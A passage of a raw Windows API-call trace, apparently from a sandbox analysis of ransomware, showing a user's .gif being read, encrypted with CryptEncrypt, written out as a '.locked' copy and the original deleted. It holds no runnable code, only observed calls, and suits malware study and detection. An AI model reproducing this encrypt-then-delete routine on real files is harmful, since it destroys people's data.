Data4=([0]=0x1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.695] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0135.695] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.695] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.695] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.695] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif.locked", lpFilePart=0x0) returned 0x5c [0135.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.695] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\7nuwe8d.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0135.695] GetFileType (hFile=0x874) returned 0x1 [0135.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.695] GetFileType (hFile=0x874) returned 0x1 [0135.695] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.695] CryptGenRandom (in: hProv=0x4396e78, dwLen=0x10, pbBuffer=0x6ad15b0 | out: pbBuffer=0x6ad15b0) returned 1 [0135.696] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.696] CryptDuplicateKey (in: hKey=0x8e84b78, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84c78) returned 1 [0135.696] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.696] CryptSetKeyParam (hKey=0x8e84c78, dwParam=0x4, pbData=0x6ad286c*=0x1, dwFlags=0x0) returned 1 [0135.696] CryptSetKeyParam (hKey=0x8e84c78, dwParam=0x1, pbData=0x6ad2838, dwFlags=0x0) returned 1 [0135.696] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x630\x438\x24a") returned 0x0 [0135.696] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.696] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.696] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.696] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.696] ReadFile (in: hFile=0x858, lpBuffer=0x6ad5dc8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6ad5dc8*, lpNumberOfBytesRead=0x99ae7a8*=0x4ea1, lpOverlapped=0x0) returned 1 [0135.696] CryptEncrypt (in: hKey=0x8e84c78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6ae9dd4*, pdwDataLen=0x99ae79c*=0x4ea0, dwBufLen=0x4ea0 | out: pbData=0x6ae9dd4*, pdwDataLen=0x99ae79c*=0x4ea0) returned 1 [0135.697] WriteFile (in: hFile=0x874, lpBuffer=0x6ad1670*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6ad1670*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0135.697] WriteFile (in: hFile=0x874, lpBuffer=0x6aeadc0*, nNumberOfBytesToWrite=0x3eb4, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6aeadc0*, lpNumberOfBytesWritten=0x99ae780*=0x3eb4, lpOverlapped=0x0) returned 1 [0135.698] ReadFile (in: hFile=0x858, lpBuffer=0x6ad5dc8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6ad5dc8*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0135.698] CryptEncrypt (in: hKey=0x8e84c78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6aeec98*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6aeec98*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0135.698] CryptEncrypt (in: hKey=0x8e84c78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6aeeccc*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6aeeccc*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0135.698] WriteFile (in: hFile=0x874, lpBuffer=0x6ad1670*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6ad1670*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0135.698] CloseHandle (hObject=0x874) returned 1 [0135.699] CloseHandle (hObject=0x858) returned 1 [0135.700] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", lpFilePart=0x0) returned 0x55 [0135.700] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.700] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.700] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.700] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.700] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\7nuwe8d.gif")) returned 0x20 [0135.701] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", lpFilePart=0x0) returned 0x55 [0135.701] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0135.701] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0135.701] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0135.701] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0135.701] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0135.701] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0135.701] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0135.701] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0135.701] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0135.701] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0135.702] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0135.702] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0135.702] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0135.702] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0135.702] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0135.702] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0135.702] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0135.702] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0135.702] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0135.702] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0135.702] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0135.702] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0135.702] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0135.702] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0135.702] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0135.703] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0135.703] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", lpFilePart=0x0) returned 0x49 [0135.703] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", lpFilePart=0x0) returned 0x49 [0135.703] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\7nuwe8d.gif")) returned 0x20 [0135.703] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", lpFilePart=0x0) returned 0x55 [0135.703] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", lpFilePart=0x0) returned 0x55 [0135.703] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", lpFilePart=0x0) returned 0x55 [0135.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0135.703] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", lpFilePart=0x0) returned 0x55 [0135.703] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif\\", lpFilePart=0x0) returned 0x56 [0135.703] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0135.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0135.704] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0135.704] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0135.704] CoTaskMemFree (pv=0x8eb8930) [0135.705] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\7nuwe8d.gif")) returned 0x20 [0135.705] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", lpFilePart=0x0) returned 0x55 [0135.705] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif", lpFilePart=0x0) returned 0x55 [0135.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0135.705] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\7nuwe8d.gif"), fInfoLevelId=0x0, lpFileInformation=0x6b0a71c | out: lpFileInformation=0x6b0a71c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe033b7f0, ftCreationTime.dwHighDateTime=0x1d4aa6d, ftLastAccessTime.dwLowDateTime=0xffaacaf0, ftLastAccessTime.dwHighDateTime=0x1d4a33e, ftLastWriteTime.dwLowDateTime=0xffaacaf0, ftLastWriteTime.dwHighDateTime=0x1d4a33e, nFileSizeHigh=0x0, nFileSizeLow=0x4ea1)) returned 1 [0135.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0135.705] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\7nuwe8d.gif")) returned 1 [0135.708] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.709] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.709] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.709] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.709] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.710] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\7nuwe8d.gif.locked")) returned 0x20 [0135.717] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\7NUwE8d.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\7nuwe8d.gif.locked")) returned 0x20 [0135.717] GetFullPathNameW (in: 